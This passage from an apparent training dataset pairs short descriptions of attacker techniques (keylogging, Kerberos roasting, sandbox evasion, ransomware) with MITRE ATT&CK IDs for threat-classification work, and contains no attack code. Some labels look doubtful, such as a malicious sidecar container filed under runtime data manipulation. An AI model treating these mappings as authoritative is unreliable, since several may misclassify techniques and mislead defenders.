                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool includes a feature that records every keystroke, including chat messages and credential entries."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Windows Ease of Access dialog by placing a malicious executable that runs automatically when a user clicks the \"Ease of Access\" button."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a zero‑day in Exchange to dump email logs and message bodies."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifies the runtime configuration of a container orchestration tool to inject a malicious sidecar container."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware delays its payload execution for several hours by checking the system uptime, ensuring it only runs on a long-lived host rather than in a short-lived sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing rundll32, the threat actor performed proxy execution, using the system binary to run their payload without directly invoking the malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the Android Credential Storage API to pull saved Wi‑Fi and app passwords from a victim's device."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script runs dsquery to list all trusted domains configured in the environment."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes exfiltration data to a public cloud storage bucket via a GET request, without expecting a response."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"kubectl get pods -A\" command to discover all pods across all namespaces in a cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a compromised internal router to perform NAT traversal, enabling external traffic to reach otherwise isolated internal segments."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a scheduled Azure Logic App to move harvested credentials to their command server at midnight."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through VBA stomping, the malicious code overwrites original macro functions, thereby hiding its presence within the Office file."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing attachment campaign delivers a .eml file that, when opened, triggers a chain of commands to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves obtaining AS-REP encrypted data for non‑pre‑authenticated users and using a password cracking tool to derive their Kerberos ticket keys."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software invokes the Security.framework API to retrieve stored application passwords from the Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a crafted SMTP VRFY command to the mail server, eliciting valid email account names in the response."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor swaps out the legitimate Terminal Services DLL with a trojanized version, allowing code execution whenever a user logs in via Remote Desktop."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor added a new transport agent module to the mail server, allowing the attacker to intercept and redirect corporate emails."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the authentication token of a web application by tampering with the JWT secret, enabling forged tokens that grant access."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that queries the operating system for its version, architecture, and installed patches."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration team buys a VPN subscription to obscure their IP address while managing malicious infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Image File Execution Options, the threat modifies the registry to associate a fake debugger with cmd.exe, ensuring that a malicious script runs whenever a command prompt is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor uninstalls the host‑based intrusion detection system from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor harvests public WHOIS records and DNS zone transfers to map network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed ransomware that recursively encrypts user documents, pictures, and databases, then displays a ransom note demanding payment for decryption keys."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office 365 template stored in SharePoint contains a script that launches a credential-stealing tool when employees generate new files from it."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor established a persistent listener on port 5985 and used Windows Remote Management to issue commands on compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker in